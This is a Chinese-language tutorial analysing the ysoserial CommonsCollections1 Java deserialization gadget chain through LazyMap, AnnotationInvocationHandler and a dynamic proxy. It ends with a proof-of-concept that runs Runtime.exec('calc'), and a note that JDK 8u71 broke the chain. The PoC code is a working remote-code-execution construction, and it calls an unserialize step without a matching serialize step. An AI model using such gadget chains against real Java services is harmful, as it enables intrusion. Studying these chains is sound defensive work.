CC1(ysoserial)
ysoserial中的cc1和我们前面所说后半部分是一样的,这里就不细说
在ysoserial中的cc1是用LazyMap替换了TransformedMap
现在使用LazyMap
的get
方法去触发ChainedTransformer
的transform
方法
CC1(ysoserial)攻击链分析
调用transform方法
下面为LazyMap的部分代码
我们来看LazyMap
的get
方法
若map中存在这个key,就返回key,如果没有这个key,才会调用factory
的transform
方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 protected final Transformer factory;public static Map decorate (Map map, Transformer factory) { return new LazyMap (map, factory); } protected LazyMap (Map map, Factory factory) { super (map); if (factory == null ) { throw new IllegalArgumentException ("Factory must not be null" ); } this .factory = FactoryTransformer.getInstance(factory); } public Object get (Object key) { if (map.containsKey(key) == false ) { Object value = factory.transform(key); map.put(key, value); return value; } return map.get(key); }
LazyMap
与TransformedMap
相类似,是一个protected属性的类,无法直接构造,因此我们需要去调用其decorate
去构造一个LazyMap
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 public static void main (String[] args) { Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , null }), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , null }), new InvokerTransformer ("exec" ,new Class []{String.class}, new Object []{"calc" }) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); HashMap<Object,Object> map = new HashMap <>(); Map<Object,Object> lazyMap = LazyMap.decorate(map, chainedTransformer); }
动态代理 调用get方法
调用get方法的地方很多,我们这里直接找到我们需要的`AnnotationInvocationHandler`中的`invoke`方法,其中`Object result = memberValues.get(member);`部分调用了 `get`方法,且member参数可控
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 public Object invoke (Object proxy, Method method, Object[] args) { String member = method.getName(); Class<?>[] paramTypes = method.getParameterTypes(); if (member.equals("equals" ) && paramTypes.length == 1 && paramTypes[0 ] == Object.class) return equalsImpl(args[0 ]); if (paramTypes.length != 0 ) throw new AssertionError ("Too many parameters for an annotation method" ); switch (member) { case "toString" : return toStringImpl(); case "hashCode" : return hashCodeImpl(); case "annotationType" : return type; } Object result = memberValues.get(member); if (result == null ) throw new IncompleteAnnotationException (type, member); if (result instanceof ExceptionProxy) throw ((ExceptionProxy) result).generateException(); if (result.getClass().isArray() && Array.getLength(result) != 0 ) result = cloneArray(result); return result; }
构造好LazyMap后,想要通过AnnotationInvocationHandler
触发get
方法,我们需要构造一个动态代理,因为想要调用invoke方法,需要用动态代理去调用任意一个方法,从而调用invoke
方法里面的get
方法
Proxy类继承了Serializable接口
1 2 3 4 5 6 7 8 Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor annotationInvocationhdlConstructor = aClass.getDeclaredConstructor(Class.class,Map.class);annotationInvocationhdlConstructor.setAccessible(true ); InvocationHandler h = (InvocationHandler) annotationInvocationhdlConstructor.newInstance(Override.class, lazyMap);Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class []{Map.class}, h);Object o = annotationInvocationhdlConstructor.newInstance(Override.class, mapProxy);
构造好动态代理后,需要去调用其任意方法
下面是invoke方法部分代码
代码表达的意思是想要走到get方法,就不能调用其equals方法,且调用的是一个无参方法才行,
1 2 3 4 5 if (member.equals("equals" ) && paramTypes.length == 1 && paramTypes[0 ] == Object.class) return equalsImpl(args[0 ]); if (paramTypes.length != 0 ) throw new AssertionError ("Too many parameters for an annotation method" );
有一个特别巧妙地地方,在AnnotationInvocationHandler
的readObject
中,会有一个调用memberValues的entrySet
方法,正好是一个不为equals的无参方法
1 for (Map.Entry<String, Object> memberValue : memberValues.entrySet())
根据分析写出的整个poc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 public static void main (String[] args) throws Exception { Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , null }), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , null }), new InvokerTransformer ("exec" ,new Class []{String.class}, new Object []{"calc" }) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); HashMap<Object,Object> map = new HashMap <>(); Map<Object,Object> lazyMap = LazyMap.decorate(map, chainedTransformer); Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor annotationInvocationhdlConstructor = aClass.getDeclaredConstructor(Class.class,Map.class); annotationInvocationhdlConstructor.setAccessible(true ); InvocationHandler h = (InvocationHandler) annotationInvocationhdlConstructor.newInstance(Override.class, lazyMap); Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class []{Map.class}, h); Object o = annotationInvocationhdlConstructor.newInstance(Override.class, mapProxy); unserialize("ser.bin" ); }
版本修复
实际在jdk_8u71之后,AnnotationInvocationHandler
类做了一些调整,直接去掉了readObject
中的checkSetValue
方法
而对动态代理类的序列化也有一定的调整,但是实际非常麻烦,这里我们就不说了
因此这两条链都断了